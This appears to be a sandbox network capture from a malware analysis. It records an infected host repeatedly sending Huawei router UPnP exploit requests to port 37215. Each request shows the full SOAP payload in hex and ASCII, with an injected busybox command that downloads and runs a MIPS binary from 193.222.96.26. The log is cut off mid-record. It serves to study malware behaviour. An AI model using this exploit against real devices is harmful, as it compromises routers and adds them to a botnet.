79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	156.230.16.157	37215	192.168.2.23	37646

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:59.139051914 CET	2099	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:00.802500010 CET	2131	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:02.754082918 CET	2186	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:06.753684998 CET	2295	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:14.688508034 CET	2512	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:30.302400112 CET	2930	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.23	41598	156.235.97.136	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:59.306133986 CET	2101	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:00.162610054 CET	2104	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:01.186441898 CET	2133	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 